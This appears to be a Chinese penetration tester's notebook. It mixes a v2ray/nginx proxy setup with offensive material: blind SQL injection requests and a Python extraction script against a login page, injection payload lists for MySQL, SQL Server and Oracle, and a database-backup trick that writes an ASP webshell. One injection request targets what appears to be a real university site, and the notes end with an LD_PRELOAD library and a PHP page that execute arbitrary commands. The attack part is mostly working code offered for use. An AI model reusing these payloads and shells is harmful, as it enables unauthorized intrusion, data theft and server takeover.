find / -ctime 0 –o –ctime 1

/etc/init.d/DbSecuritySpt
/tmp/syn
/tmp/syn.1
/tmp/syn.2
/tmp/xmrig
/tmp/xxxx.txt
/tmp/config.json
/tmp/log.txt
/usr/bin/.sshd
/tmp/moni.lod

yum install -y lrzsz vim git make tar gcc openssl-devel pcre-devel zlib-devel 
wget http://nginx.org/download/nginx-1.19.1.tar.gz
tar zvxf nginx-1.19.1.tar.gz
cd nginx-1.19.1
./configure --prefix=/usr/local/nginx --with-http_stub_status_module --with-http_ssl_module --with-stream
make && make install
ln -s /usr/local/nginx/sbin/nginx /usr/bin/nginx

bash <(curl -L https://raw.githubusercontent.com/v2fly/fhs-install-v2ray/master/install-release.sh)

{
  "log" : {
    "access": "/var/log/v2ray/access.log",
    "error": "/var/log/v2ray/error.log",
    "loglevel": "warning"
  },
  "inbound": {
    "port": 39127, 
    "listen": "127.0.0.1",
    "protocol": "vmess",
    "settings": {
      "clients": [
        {
          "id": "x-x-x-x-x", 
          "level": 1,
          "alterId": 64 
        }
      ]
    },
   "streamSettings":{
      "network": "ws",
      "wsSettings": {
           "path": "/abc" 
      }
   }
  },
  "outbound": {
    "protocol": "freedom",
    "settings": {}
  },
  "outboundDetour": [
    {
      "protocol": "blackhole",
      "settings": {},
      "tag": "blocked"
    }
  ]
}

server {
                listen  80;
                root            /var/www/html/;
                index           index.html index.htm;
                server_name     www.xxx.com;  
                rewrite ^(.*)$  https://$host$1 permanent;
}
server {
                listen  443 ssl;
                root            /var/www/html/;
                index           index.html index.htm;
                server_name     www.xxx.com;
                ssl_certificate /etc/letsencrypt/live/www.xxx.com/fullchain.pem;  
                ssl_certificate_key  /etc/letsencrypt/live/www.xxx.com/privkey.pem; 
                ssl_protocols TLSv1.2;
                ssl_ciphers   ECDHE-RSA-AES128-GCM-SHA256:ECDHE:ECDH:AES:HIGH:!NULL:!aNULL:!MD5:!ADH:!RC4:!DH:!DHE;
                location /PLMOKN {       
                        proxy_redirect off;
                        proxy_pass http://127.0.0.1:39127;  
                        proxy_http_version 1.1;
                        proxy_set_header Upgrade $http_upgrade;
                        proxy_set_header Connection "upgrade";
                        proxy_set_header Host $http_host;
                        access_log off;
                }
}

http {
    include       mime.types;
    include       v2ray.conf;
    ...

[root@racknerd-82d3de certauto]# systemctl status firewalld.service
[root@racknerd-82d3de certauto]# firewall-cmd --zone=public --add-port=80/tcp --permanent
success
[root@racknerd-82d3de certauto]# firewall-cmd --zone=public --add-port=443/tcp --permanent  
success
[root@racknerd-82d3de certauto]# firewall-cmd --reload
success

yum install epel-release -y
yum install snapd
systemctl enable --now snapd.socket
ln -s /var/lib/snapd/snap /snap
snap install --classic certbot
ln -s /snap/bin/certbot /usr/bin/certbot

ln -s /usr/local/nginx/conf/* /etc/nginx/ （采取手动编译安装nginx的需要这一步，因为certbot默认校验/etc/nginx下的配置文件）
certbot certonly --email xxx@xxx.com -d www.xxx.com 邮箱和域名填写自己的

2 Spin 启动临时服务器
Y (Y)es/(N)o
Y (Y)es/(N)o

nginx
systemctl enable v2ray
systemctl start v2ray

POST /templates/index/hrlogon.do HTTP/1.1
Host: xxx.com
Content-Length: 84
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://xxx.com
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://xxx.com/templates/index/hrlogon.jsp
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: appdate=2020.09.21; bosflag=hl; JSESSIONID=13E35873CC53C0B4598A2FD66F8B348C; radius=14.103.218.82; uudid=cms1553b202-f079-153c-38ac-1c3dbb2135c5
Connection: close

logon.x=link&username=admin';waitfor/**/delay'0:0:3&password=test&appdate=2020-09-21

admin';waitfor/**/delay'0:0:1
admin';waitfor/**/delay'0:0:3

admin';if(len(db_name())=4)waitfor/**/delay'0:0:5'else/**/waitfor/**/delay'0:0:2
admin';if(len(db_name())=5)waitfor/**/delay'0:0:5'else/**/waitfor/**/delay'0:0:2
admin';if(len(db_name())=6)waitfor/**/delay'0:0:5'else/**/waitfor/**/delay'0:0:2

#coding=utf-8
import requests
import time

headers = {
    'Origin':'http://xxx.com',
    'Content-Type':'application/x-www-form-urlencoded',
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',
    'Referer': 'http://xxx.com/templates/index/hrlogon.jsp'
}

url = 'http://xxx.com/templates/index/hrlogon.do'
def getDbLength():
    for i in range(1, 20):
        poc = "admin';if(len(db_name())=%d)waitfor/**/delay'0:0:5'else/**/waitfor/**/delay'0:0:2" % (i, )
        data = "logon.x=link&username=%s&password=test&appdate=2020-09-21" % (poc)
        print(i, poc)
        t1 = time.time()
        r = requests.post(url, headers=headers, data=data)
        t2 = time.time()
        if t2-t1 >= 5:
            print('The db length is: ', i)
            break

def check(data):
    t1 = time.time()
    r = requests.post(url, headers=headers, data=data)
    t2 = time.time()
    if t2 - t1 >= 3:
        return True
    else:
        return False

def getDbName():
    length = 5 #getDbLength()
    db_name = ''
    for i in range(1, length + 1):
        _min, _max = 0, 140
        while _min <= _max:
            middle = int((_min + _max) / 2)
            poc1 = "admin';if(ascii(substring((db_name()),%d,1))=%d)waitfor/**/delay'0:0:3'/**/else waitfor/**/delay'0:0:1" % (
            i, middle)
            poc2 = "admin';if(ascii(substring((db_name()),%d,1))>%d)waitfor/**/delay'0:0:3'/**/else waitfor/**/delay'0:0:1" % (
            i, middle)
            data1 = "logon.x=link&username=%s&password=test&appdate=2020-09-21" % (poc1,)
            data2 = "logon.x=link&username=%s&password=test&appdate=2020-09-21" % (poc2,)
            if check(data1):  # guess right
                print(chr(middle))
                db_name += chr(middle)
                break

            if check(data2):
                print("目标字符 > ", middle)
                _min = middle + 1

            else:
                print("目标字符 < ", middle)
                _max = middle - 1
    print(db_name)
getDbLength()
#getDbName()

if语句： if(1=1,1,0)
substr("abc", 1, 1) //a
select @@secure_file_priv; //查看文件导出权限
'/var/lib/mysql-files/'
select @@plugin_dir; //查看plugin目录
'/usr/lib64/mysql/plugin/'
select @@basedir; // 查看数据库目录

bool型(无空格)
1'and'y'='f
1'and'y'='y
1'and ord(mid(user(),1,1))>1 and 'y'='y
搜索型：
%' and 1=1 and '%'='
%' and 1=2 and '%'='
报错注入
'and/**/extractvalue(1,concat(char(126),md5(1982470395)))and'
'and/**/extractvalue(1,concat(user()))and'
1'and/**/updatexml(1,concat(char(126),user()),1)and'
盲注(无空格)
1'and(select*from(select+sleep(2))a/**/union/**/select+1)='
注数据库长度：
1'and(select*from(select if(LENGTH(database())=%d,sleep(3),0))a)='
注数据库名：
1'and(select*from(select if(ASCII(SUBSTR(database(),1,1))=97,sleep(3),0))a)=''

ascii(str): str是一个字符串参数，返回值为其最左侧字符的ascii码。通过它，我们才能确定特定的字符。

substr(str,start,len): 这个函数是取str中从下标start开始的，长度为len的字符串。通常在盲注中用于取出单个字符，交给ascii函数来确定其具体的值。。

MID(str, start [, Length]): 也是截取字符串，只用于mysql。

length(str): 这个函数是用来获取str的长度的。这样我们才能知道需要通过substr取到哪个下标。

count([column]): 这个函数大家应该很熟，用来统计记录的数量的，其在盲注中，主要用于判断符合条件的记录的数量，并逐个破解。

if(condition,a,b): 当condition为true的时候，返回a，当condition为false的时候，返回b。

ord('a') 转换为ascii码

left(str, len) 取str中前len个字符。select LEFT('123',2)结果为12

char(114) 数字转换为字符

regexp '正则表达式' 正则表达式匹配 select '2bc' REGEXP '^[a-z]'

select @@version;       #查询数据库的版本
select host_name();     #查询主机名，如果是用navicat远程连接的话，主机名是本地的名字
select db_name();       #查询当前数据库名
select user;            #查询当前数据库的拥有者，结果为 dbo。dbo是每个数据库的默认用户，具有所有者权限，全称：datebaseOwner ，即DbOwner 
use tempdb              #切换到tempdb表  
top n                   #查询前n条记录
select substring('string',2,1)     #截取给定字符串的索引为2的1个字符
select ascii('a')                  #查询给定字符串的ascii值
select len('string')               #查询给定字符串的长度
if语句：sqlserver：if(1=1) (sql语句)   else （sql语句）

#查询数据库
select count(name) from sysdatabases     #查询数据库的个数
select name  from sysdatabases           #查询数据库的名字
select * from sysdatabases               #查询所有数据库的信息

#查询数据表
select * from sysobjects where type='u'  #查询当前数据库的所有表的详细信息
select count(name) from msdb..sysobjects where xtype='U'  #查询指定msdb数据库中表的个数
select name from msdb..sysobjects where xtype='U'         #查询指定msdb数据库中表的名字
select * from msdb..sysobjects where xtype='U'            #查询指定msdb数据库中表的详细信息

#查询列
select name from syscolumns where id=(select max(id) from sysobjects where xtype='u' and name='users')           #查询当前数据库的指定users表的所有列
select count(name) from test..syscolumns where id=(select max(id) from test..sysobjects where xtype='u' and name='users')   #查询指定test数据库的指定users表的列的个数
select name from test..syscolumns where id=(select max(id) from test..sysobjects where xtype='u' and name='users')       #查询指定test数据库的指定users表的所有列
select * from test..syscolumns where id=(select max(id) from test..sysobjects where xtype='u' and name='users')       #查询指定test数据库的指定users表的列的详细信息

#查询数据
select count(*) from test..user          #查询test数据库user表的数据的条数
select * from test..user                 #查询test数据库user表的所有数据

xray检验是否存在sql注入：
932'and/**/convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1899274127')))>'0

boolean-based blind
Payload: centid=932' AND 6663=6663 AND 'dlfS'='dlfS

error-based
Payload: centid=932' AND 8657 IN (SELECT (CHAR(113)+CHAR(120)+CHAR(106)+CHAR(120)+CHAR(113)+(SELECT (CASE WHEN (8657=8657) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(112)+CHAR(120)+CHAR(122)+CHAR(113))) AND 'YkOb'='YkOb
Vector: AND [RANDNUM] IN (SELECT ('[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]'))

stacked queries
centid=932';WAITFOR DELAY '0:0:5'--

time-based blind
centid=932';WAITFOR DELAY '0:0:5'--
admin'and(select+1)>0waitfor/**/delay'0:0:3
admin';waitfor/**/delay'0:0:3

获取当前user
932' and 1=(select user_name())--
获取当前数据库
932' and 1=(select db_name()) AND 'WckB'='WckB

获取第一个数据库(dbid=1获取第一个)
932' and 1=(select name from master.dbo.sysdatabases where dbid=1)--
注表名
932' and  1=(select top 1 name from where xtype=’u’)--
注列名
and 1=(select top 1 name from syscolumns where id=(select id from sysobjects where name='表名'))--
注数据
932' and 1=(select top 1 表名 from 字段名)--
查看是否有xp_cmdshell权限（）
932' and 1=(Select count(*) FROM sysobjects Where xtype = 'X' AND name = 'xp_cmdshell')--
932' and 0=(Select count(*) FROM sysobjects Where xtype = 'X' AND name = 'xp_cmdshell')--
判断当前数据库用户权限
and 1=(IS_SRVROLEMEMBER('sysadmin'))        //返回正常为sa
and 1=(IS_MEMBER('db_owner'))               //返回正常为DB_OWNER
and 1=(IS_srvrolemember('public'))          //public权限,较低

alter database test set RECOVERY FULL;
create table dbo.test2(a image);
insert into test..test2(a) values (0x3c256578656375746520726571756573742822786879632229253e); //<%execute request("xhyc")%>
backup database test to disk='d:\sqlserver.bak';
backup log test to disk='d:\shell.asp' with init;
drop table test..test2;

backup database test to disk = 'd:\sqlserver.bak';
create table test..test2(a image);
insert into test..test2(a) values (0x3c256578656375746520726571756573742822786879632229253e); //<%execute request("xhyc")%>
backup database test to disk = 'D:\phpstudy_pro\WWW\shell3.asp' with differential , format;
drop table test..test2;

POST /middle.aspx HTTP/1.1
Host: library.ysu.edu.cn
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0
Content-Length: 115
Content-Type: application/x-www-form-urlencoded
Referer: http://library.ysu.edu.cn/
Accept-Encoding: gzip

number=2'/**/and/**/(select decode(length(user),5,dbms_pipe.receive_message('RDS',10),0) from dual)='1&passwd=admin

> python sqlmap.py -r pack.txt -pnumber  -v --sql-shell
select banner from sys.v_$version [2]:
[*] Oracle Database 11g Enterprise Edition Release 11.2.0.1.0 - 64bit Production
[*] PL/SQL Release 11.2.0.1.0 - Production

PS C:\Users\admin> sqlplus

SQL*Plus: Release 11.2.0.2.0 Production on 星期四 9月 24 11:54:09 2020

Copyright (c) 1982, 2014, Oracle.  All rights reserved.

请输入用户名:  sys as sysdba
输入口令:

连接到:
Oracle Database 11g Express Edition Release 11.2.0.2.0 - 64bit Production

//create user xxxxx(用户名) identified by "密码" 
//grant dba to 用户名  --给用户赋予所有权限，connect是赋予连接数据库的权限，resource 是赋予用户只可以创建实体但是没有创建数据结构的权限。

//切换用户
SQL> conn scott
输入口令: 123456
已连接。

//查看当前用户==show user
SQL> select user from dual;  

USER
------------------------------------------------------------
SCOTT

//查看数据库版本
SQL> select product, version from product_component_version where substr(product, 1, 6)='Oracle'; 

PRODUCT
--------------------------------------------------------------------------------
VERSION
--------------------------------------------------------------------------------
Oracle Database 11g Express Edition
11.2.0.2.0

//使用host命令可以执行系统命令
SQL> host whoami
desktop-3o58k0a\admin

//创建表
SQL> create table t_user(id number(10) primary key, name varchar2(20)); 

表已创建。

//插入
SQL> insert into t_user(id, name) values(1, '123'); //必须是单引号？双引号就报错

已创建 1 行。

//有更新一定要commit
SQL>COMMIT;

//查看所有表空间
SQL> select tablespace_name from dba_tablespaces;

TABLESPACE_NAME
------------------------------------------------------------
SYSTEM
SYSAUX
UNDOTBS1
TEMP
USERS

//查看当前用户的表
SQL> select table_name from user_tables where rownum < 5;

TABLE_NAME
------------------------------------------------------------
ICOL$
IND$
COL$
CLU$

//延时函数dbms_pipe.receive_message：从rds（可任意命名）管道等待4秒钟
SQL> select dbms_pipe.receive_message('rds', 4) from dual;

DBMS_PIPE.RECEIVE_MESSAGE('RDS',4)
----------------------------------
                                 1
//查询ip地址
SQL> select utl_inaddr.get_host_address from dual;

GET_HOST_ADDRESS
--------------------------------------------------------------------------------
fe80::35db:b13e:5850:3ca3%3

decode(条件,值1,返回值1,值2,返回值2,…值n,返回值n,缺省值) //作用与if类似
substr(user, 1, 1)
ascii('a')
dbms_pipe.receive_message(任意管道名, 等待时间)

time-based
2'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('f',3)='f
2'/**/and/**/(select decode(length(user),6,dbms_pipe.receive_message('RDS',5),0) from dual)='1
2'/**/and/**/(select decode(ascii(substr(user,1,1)), 128, dbms_pipe.receive_message('RDS',5),0) from dual)='1

#define _GNU_SOURCE

#include <stdlib.h>
#include <stdio.h>
#include <string.h>


extern char** environ;

__attribute__ ((__constructor__)) void preload (void)
{
    // get command line options and arg
    const char* cmdline = getenv("EVIL_CMDLINE");

    // unset environment variable LD_PRELOAD.
    // unsetenv("LD_PRELOAD") no effect on some 
    // distribution (e.g., centos), I need crafty trick.
    int i;
    for (i = 0; environ[i]; ++i) {
            if (strstr(environ[i], "LD_PRELOAD")) {
                    environ[i][0] = '\0';
            }
    }

    // executive command
    system(cmdline);
}

<?php
    echo "<p> <b>example</b>: http://site.com/test.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/evil.so </p>";

    $cmd = $_GET["cmd"];
    $out_path = $_GET["outpath"];
    $evil_cmdline = $cmd . " > " . $out_path . " 2>&1";
    echo "<p> <b>cmdline</b>: " . $evil_cmdline . "</p>";

    putenv("EVIL_CMDLINE=" . $evil_cmdline);

    $so_path = $_GET["sopath"];
    putenv("LD_PRELOAD=" . $so_path);

    mail("", "", "", "");

    echo "<p> <b>output</b>: <br />" . nl2br(file_get_contents($out_path)) . "</p>"; 

    unlink($out_path);
?>